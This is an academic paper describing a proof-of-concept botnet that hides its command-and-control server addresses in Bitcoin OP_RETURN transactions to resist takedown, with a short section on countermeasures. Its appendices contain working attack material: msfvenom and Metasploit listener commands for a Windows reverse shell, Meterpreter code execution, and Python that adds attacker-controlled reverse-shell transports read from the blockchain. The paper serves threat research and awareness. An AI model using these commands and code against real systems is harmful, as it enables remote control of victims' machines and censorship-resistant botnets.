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Abstract. We focus on the problem of botnet orchestration and dis-
cuss how attackers can leverage decentralised technologies to dynamically
control botnets with the goal of having botnets that are resilient against
hostile takeovers. We cover critical elements of the Bitcoin blockchain
and its usage for ‘floating command and control servers’. We further dis-
cuss how blockchain-based botnets can be built and include a detailed
discussion of our implementation. We also showcase how specific Bitcoin
APIs can be used in order to write extraneous data to the blockchain.
Finally, while in this paper, we use Bitcoin to build our resilient botnet
proof of concept, the threat is not limited to Bitcoin blockchain and can
be generalized.
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1 Introduction
In this paper, we present a novel breed of resilient botnets by leveraging the
Bitcoin Blockchain as part of a botnet architecture. This threat poses a great risk
considering the increased adoption of Bitcoin. With the sole intention of raising
awareness of this threat in the community we include a detailed implementation
of how an attacker could significantly enhance the resiliency of their botnet and
make them ‘censorship resistant’ by leveraging the Bitcoin Blockchain. We define
a botnet as censorship resistant when the botnet remains a persistent threat
even if the government agencies shut down the cloud services orchestrating this
botnet.
There is a considerable number of surveys on botnet detection that sum-
maries the common techniques used by attackers and the various solutions pro-
posed to detect and prevent botnets ([7]). Recently, there have been initial at-
tempts towards leveraging blockchain to detect botnets (e.g., [6], [1]). We take
a different approach in this work and highlight how an attacker may leverage
blockchain to build their botnet armies. To the best of our knowledge, this
is the first paper discussing how attackers may leverage blockchain in a fully
decentralised way to strengthen a botnet against censorship. In fact, in the pro-
posed attack, the malware acts as ’a full node’ directly communicating with the
blockchain with no intermediate third parties. Moreover, while in this paper, we
use Bitcoin (and its core APIs) to build our resilient botnet proof of concept,
the threat is not limited to Bitcoin blockchain and can be generalized.
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In the following we begin with a succinct review of related work and back-
ground information (§2). Thereafter, in §3, we discuss in detail how an attacker
could exploit the Bitcoin Blockchain to implement the censorship-resistant bots.
We discuss the limitations of this work, along with possible future research di-
rections including possible countermeasures in §5. We conclude the paper in §6.
2 Related Work and Background
2.1 Botnet Armies
Botnet armies act as a dispersed network of computers that are subject to the
command of a single bot master [5]. The bot master manages the botnet via
a command and control center which receives data from the botnet and issues
further instruction sets from a command and control server. The command and
control server usually is a single machine whose location is predened within the
botnet. Botnet armies typically require communication to be available between
botnet machines and a command and control server (C&C) in order to receive
instructions from a bot master. If this command and control servers address is
hard coded we can examine the malware and either nd some way to shutdown
communication, take down the C&C server, or alternatively takeover the server.
An example of a defensive takeover was studied by Stone-Gross et. al. their
research discusses the implications of a takeover on the Torpig botnet [8]. Torpig
uses a domain name sequence to validate if a new C&C server was available. If
the next domain name in the sequence resolved, the botnet connected to the new
C&C server address. Torpig uses a relatively outdated methodology, however,
the same issues and concept applies to today’s botnets.
In order to improve the resilience of the botnet, botmasters deploy more
sophisticated and dynamic communication with ‘oating [C&C] servers’ [5]. These
use a range of different tactics, from DNS Resolution, or the more novel approach
of custom code left behind social media pages [7], to IRC messages and P2P
architectures. The immutability of blockchain is a critical feature that none of
the current methods capture.
2.2 Blockchain
Implementation guidelines for blockchain based botnets have been scarce and
typically have not been aimed at truly disseminating whether it is the right tool
for the job. Notably, Omer Zohars Unstoppable chains explains in detail, with
smart contract examples, on how Ethereum (a similar protocol to Bitcoin) can
be used to manipulate the behaviour of botnets [10]. The attacker is able to
manipulate the actions of a botnet army by sending updates to the smart con-
tract. These updates detail to the botnet where the next floating C&C is located
[10]. Despite the title of the work suggesting that these chains are unstoppable,
Zohar makes note of the complexities with coding Solidity smart contracts and
how take downs and takeovers can easily be a side effect of poor coding practices
in Solidity. Even simple contracts have been ruined through misuse or neglect of
Solidity principles [10]. Our decision to focus on Bitcoin was determined by the
sheer complexity of managing a production quality deployment of an Ethereum
smart contract, the costs involved and the recently reported attacks such as [9].
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2.3 Bitcoin
Bitcoin had aimed at being the world’s first successful decentralised peer to peer
cash systems. Bitcoin removed trusted third parties from the global financial
system through the effective use of cryptography. By trusting cryptographic
protocols instead of Banks, Bitcoin provided a viable alternative by leveraging
code in order create new ’Bitcoins’ and reaching consensus on who owns what
Bitcoin. The consensus algorithms effectively decide what transactions are valid
and when valid they are then posted to the blockchain stored by full nodes. These
full nodes are machines that hold a record of all transactions and verify new
transactions that are broadcast. Bitcoin is compromised of Bitcoin core, JSON-
RPC API and a P2P API. These both of these building blocks are essential to
how communication occurs over the Bitcoin network.
Bitcoin core establishes the rules for setting up full nodes which are respon-
sible for indexing all transactions to local databases and then verifying that
transaction inputs originated from unspent transaction outputs3. It is respon-
sible for the rules that govern how full nodes communicate with one another.
The collection of transactions held by other full nodes, and ability to create new
addresses and transaction hashes is governed by the JSON-RPC API, whereas
the communication between nodes is handled by the P2P API4. The distinc-
tion between using JSON-RPC and using P2P is of significant importance. In
the case of JSON-RPC we need authentication credentials in order to use this
API and we would be connecting directly to an individual full node, instead of
leveraging the entire network of Bitcoin full nodes. If we focus on JSON-RPC
our communication is centralised to a single full node and will therefore not be
harnessing the full decentralised capabilities of the Bitcoin blockchain. Instead,
Bitcoin P2P allows our botnet to ’pretend to be a full node’ allowing it to sync
with specific blocks on the blockchain and retrieve near-arbitrary data with no
credentials.
Bitcoin makes use of OP codes in transactions in order to decide whether
certain transactions are more than ’simple transactions’. Some of these OP codes
stored on the Bitcoin blockchain allow for certain non-Turing complete actions to
be handled when a transaction is processed. More specically, OP Return allows
us to add up to 80 bytes of arbitrary data. This is more than enough data
for us, given that most IP addresses consist of 32 bits and 4-5 bits for a port
number [2]. With the ability to store IP addresses, we have the ability to create
a communication protocol for our floating Command & Control servers.
3 Attacking with Bitcoin
A wide range of possible architectural decisions surface based on the collabora-
tion of Botnets, Blockchain and peer-to-peer APIs. Blockchain is inefficient in
many ways and requires a valid reason in order to be used. Yes, botnets can suffer
communication failures as a result of different threats, for example; simple net-
working failures, intermittent network connectivity, C&C take downs or even the
destruction of infected devices. These situations do not necessarily warrant using
blockchain,instead measures such as device hardening, adding offline capabilities
and centralising attempts to re-establish communication are all possibilities.
3 https://github.com/bitcoin/bitcoin
4 https://bitcoin.org/en/p2p-network-guide
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Blockchain’s main benefit is in censorship resistance, by providing consensus
based storage amongst many peers, we limit the likelihood for re-established
communication to be compromised. Although it is strange to consider how our
attacks are vulnerable, it is essential to understand how an attacker may attempt
to evolve on existing threat vectors. It is natural to ask if we can use blockchain
for all our botnet actions, such as directly sending remote procedure calls to
the botnet. However, there is no benefit to using blockchain for everything. The
internet has far evolved since the days of insecure HTTP and there are now many
peer-to-peer encrypted channels of communication that do not need blockchain.
When that secure line of communication is breached we must establish an-
other channel of communication. Figure 1 details how we use blockchain to
re-establishing communication. Here our typical attacker workflow of sending a
payload, receiving a reverse shell then executing remote procedure calls on a bot-
net is unfortunately interrupted by a communication breakdown. The attacker
and the victim independently validate the data stored on the Bitcoin Blockchain
in order to reach consensus on how to re-establish secure communication.
Fig. 1. Botnet Orchestration Protocol Diagram: Details how the botnet and attacker
communicate with the blockchain.
This ’independent validation’ refers to the botnet and attacker completing
mutually exclusive actions on the blockchain. Figure 2 outlines a high level
overview of the transaction information sent from the malicious attacker to
the Bitcoin blockchain. Likewise, the botnet itself is constantly patrolling the
blockchain for a transaction of a certain description. If a communication break-
down occurs and a valid transaction is broadcast, the botnet now has the missing
puzzle to re-establish communication. The botnet and the malicious attacker can
now resume communication without the involvement of any Blockchain, as seen
in the final stages of Figure 1.
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This two part process has been applied in this research specifically for Bitcoin,
however, it is not just limited to Bitcoin. Any blockchain that facilitates the
ability to read and write arbitrary data can be used to facilitate this protocol.
Fig. 2. Botnet Communication Protocol Diagram: Details how the botnet communi-
cates directly with the attacker
4 Implementation
We discuss the ‘nits and picks’ of the proposed attack by creating a simplified
botnet. For this, we adopt the methodology used in [4]. Figure 3 depicts the high
level architecture of our proof of concept - note that one of the main differences
in our work is that we replace the ’Bitcoin blockchain’ with a ’Bitcoin full node’.
We have 2 floating C&C servers, one actively establishing connection with the
victim and the other passively waiting for re-connection. For our implementation,
we use Kali Linux for both of the C&C servers, and use Microsoft Windows 10
as the victim.
4.1 Dynamic Shell Sessions
A bind or reverse shell establishes connection with a remote listener from the
infected device. Dynamic shells have the capability to interpret commands from
the listener and alter their behaviour based on those commands. An attacker
can use any available, or hand crafted tool in order to create a dynamic shell.
However, using tools like Meterpreter the management of shells becomes incred-
ibly easy, even for the unskilled attacker. In the case of Meterpreter, shells can
either be staged or ’stageless’ with their distinction being the approach that the
main payload is loaded into the device. Staged payloads refer to a payload which
only has instructions for an initial connection, the rest of the malicious payload
is returned after the victim connects to the Meterpreter listener. Stageless pay-
loads refer to a payload presented upfront in full. We have opted for using the
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Fig. 3. High-level Architecture of our proof of concept implementation
stageless (or single) reverse TCP payload available in the Metasploit framework.
The details of the payload and its matching listener used for our implementation
are included in Appendix A.
Furthermore, Meterpreter supports the ability to load a live Python inter-
preter onto the victim. This can then be used to load Python code after the
attacker gains access to the machine. This does not require Python to be in-
stalled on the device. Using Meterpreter bindings in our Python code we are
able to dynamically adjust the transport configuration of the shell session. Im-
porting the script in Appendix C within our meterpreter session results in a
passive C&C server which we can then aim to manipulate in the subsequent
sections through blockchain transactions.
4.2 Writing Arbitrary Data to Bitcoin Blockchain
With the prepared malware payload we can now focus on ’discovering new C&C
servers’. To manage this using the Bitcoin blockchain we are required to leverage
the ’ScriptPubKey’ options available within the Bitcoin Core transaction outputs
[2]. These options provide ’OP codes’ to the transaction that signify certain
transaction ’contexts’. We used the ’OP Return’, an OP code that allows us to
signify a transaction output as invalid or void and simultaneously write up to
80 bytes of data into the blockchain, which allows us to write an IP address and
a port for which our bot can connect to.
In order to manipulate transaction data with granularity there is a require-
ment to host a full node with capable JSON RPC access. This required installing
a Bitcoin Core full node, connecting to the Testnet and crafting a raw transac-
tion.
Crafting the raw transaction involves listing the unspent Bitcoin for the re-
quired wallet address (listunspent), creating the raw transaction data locally on
the full node (createrawtransaction), signing the transaction with the wallet pri-
vate keys (signrawtransactionwithwallet) and then broadcasting this to all other
full nodes (sendrawtransaction). The command-line arguments used for crafting
the raw transactions are listed in Table 1.
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STEP Command Description
1 listunspent (Input: NA, Output: txid, vout) Lists
transactions we have received that have
not yet been spent.
2 createrawtransaction (Input: txid, vout, Output: hex) Returns a
hex dump of the created transaction (this
transaction is only local).
3 signrawtransactionwithwallet (Input: hex, Output: signedtransaction-
hex) returns a signed transaction hex
dump of the created transaction (still lo-
cal).
4 sendrawtransaction (Input: signedtransactionhex, Output: re-
sult) sends transaction to blockchain.
Table 1. Commond-line arguments for crafting raw transactions
4.3 Reading Arbitrary Data from the Blockchain
At this point, we need to communicate with the Bitcoin blockchain in order
to read the transaction hash outlined in Table 1. This may be achieved either
through Blockchain explorers or directly from a full node.
These strategies both have quite peculiar positives and negatives when con-
sidering the implications on our decentralised botnet. This decision has a strong
impact on the botnets ability to be genuinely ’decentralised’. A decentralised
botnet requires a truly decentralised way of processing transactions in order to
be truly censorship resistant. Block explorers should not considered as decen-
tralised as they are often hosted on centralised servers with potentially mutable
copies of our immutable blockchain. The transactions that are validated by Bit-
coin full nodes are stored in a database and can be indexed when blockchain
explorers are queried. An example of this can be seen in Appendixs D. Full code
available at https://github.com/dummytree/blockchain-botnet-poc.
This approach avoids the complexities of dealing directly with the blockchain,
however if these centralised servers are compromised, so too is our botnet. Ap-
pendix E shows the basic structure of the required for communication in order
to create a truly decentralised data fetching process. This code outlines how a
connection should be created to a full node, how data is formulated for each
message type and how the parsing of the data is managed. The fundamental
idea behind Bitcoin is that full nodes can potentially lie about what transac-
tions have been verified, however in order to gain consensus one would have to
’convince’ over 51% of the Bitcoin network in order to publish false data to the
blockchain. Much in the same way, our decentralised botnet can establish trust
with multiple full nodes in order to obtain a trusted source of information rather
than relying on a single node.
Our Bitcoin based botnet emulates other full nodes in order to simulate
parts of the Bitcoin node blockchain sync process. By creating the handshake,
exchanging version support messages it is then able to request for blocks. After
receiving the required block we are then able to parse through the block and
extract ’inventory items’, which in the case of a block is actually the transactions
posted permanently to the blockchain. Each transaction may or may not contain
an OP Return value which we are analyzing.
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We can therefore examine the blockchain and determine whether there is an
OP Return involved that has any data aimed for our botnet. If this was the case,
we parsed this input and added this to our Meterpreter dynamic shell’s transport
as explained in Appendix C. As discussed in the following section, while our proof
of concept clearly proves feasibility of this attack, it can be improved further to
make the blockchain-based botnet more resilient and censorship-resistant.
5 The Good, The Bad, and The Ugly
We perceive the following limitations in our current work, which future research
can explore: 1) Improving the algorithm parser to scan for fragmented encrypted
payloads, 2) Using the getAddr method in Bitcoin P2P to remove reliance on a
single node.
The algorithm for parsing transactions is a simple IP filter which can be
replicated by anyone on the blockchain. It does not secure the reading of data
from the blockchain and this can cause issues where hostile takeover is still
possible. This attack can be further improved, for example, the botnet can listen
for encrypted payloads that are fragmented by 80 bytes across the blockchain, it
can collate these in order to formulate an encrypted payload. The purpose of our
research was not to prevent poorly implemented design takeovers, but instead
to leverage Bitcoin to build a system with the capabilities to be resilient. Our
research shows this is possible.
This communication protocol can be abstracted for any re-establishment of
trust. Silk Road, a site famous for selling illicit narcotics, was taken down by US
authorities. Shortly after the take down many duplicate services began showing
up. With no reliable link to the original site, trust needed to be re-established.
Similiar tactics to what we have discussed, could be leveraged by criminals to
avoid rebuilding trust. By having people follow bitcoin transactions rather DNS
resolution or TOR addresses, law enforcement take downs may become less ef-
fective. Proper prevention of this threat will prove to be challenging. OP Return
data can be scanned constantly for unencrypted payloads. The payloads can
then be monitored and blacklisted at proxy and network firewalls. The nature
of bitcoin JSON-RPC API forces the use of full nodes when creating raw trans-
actions, which then get broadcast with an IP address. Full nodes and their IPs
should therefore be flagged. Kaminsky discusses IP monitoring of full nodes [3],
of which law enforcement agencies may potentially be capable of linking these
IP addresses and bitcoin transactions gone astray to physical people. After all,
bitcoin’s do not just represent arbitrary data, they hold real wealth and people
may make mistakes in the real world handling funds used to control these illicit
communication channels.
6 Conclusion
We discussed in detail how the Bitcoin blockchain may be used to build resilient
botnet armies. Unlike the current approach of blocking the communication of
bots with the C&C, we perceive a more efficient approach to defend against
this kind of threat is to identify possible ways to take the malware down at
the affected devices. In fact, with modifications, the threat discussed here may
be used to launch attacks with catastrophic impacts. Hence, we believe further
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research is justified in regards to the monitoring, tracking system and collection
of arbitrary data usage on blockchains.
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A Payload and Listener
#PAYLOAD: Creates a connection to the attacker
./msfvenom --payload windows/Meterpreter_reverse_tcp LHOST=\$IP_ADD
LPORT=\$PORT --format exe -- /mnt/malwarepayloads/reverse_tcp.exe
#LISTENER: Listens for payload connections to the attacker
./msfconsole -n -q -x use exploit/multi/handler; set payload
windows/Meterpreter_reverse_tcp; set LHOST \${IP_ADD}; set LPORT
\${PORT}; set ExitOnSession false; set SessionCOmmunicationTimeout
0; exploit -j
B Calc.exe Launched from Meterpreter
Meterpreter > Python_import -f {filename}
Meterpreter > Python_execute from subprocess import call;
call([calc.exe])
#output: opens calc.exe program on windows machine
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C Dynamic Transport Connection
import Meterpreter.transport
attacker_ip = 10.0.0.103
attacker_port = 9999
transport = attacker_ip + : + attacker_port
Meterpreter.transport.add(transport)
D Simple Block Explorer
import urllib, json, time, Meterpreter.transport
def query_transaction(txid):
url = "http://api.blockcypher.com/v1/btc/test3/txs/" + txid
response = urllib.urlopen(url)
data = json.load(response)
transport_url = ’tcp://’ + data[’outputs’][0][’data_string’]
Meterpreter.transport.add(transport_url)
print("NEW TRANSPORT: " + transport_url)
E Full Node Block Explorer
# Create TCP packets
def create_network_address(self, ip_address, port):
def create_message(self, command, payload):
def create_sub_version(self):
def create_payload_version(self):
def create_message_verack(self):
def create_payload_getdata(self, tx_id):
def create_payload_getblocks(self, block_hash, stop_hash):
# Establish socket connection
def establishSocketConnection(self):
def validate_script_sig(self, script_sig):
# Initial Handshake Sequence: 1
def send_version(self):
# Initial Handshake Sequence: 2
def send_verack(self):
# Parse Messages
def parse_tx_messages(self, total_tx, transaction_messages, tx_count
= 1):
def parse_block_msg(self, block_msg):
def parse_data(self, response_data):
# Send requests
def send_getdata(self, tx_id):
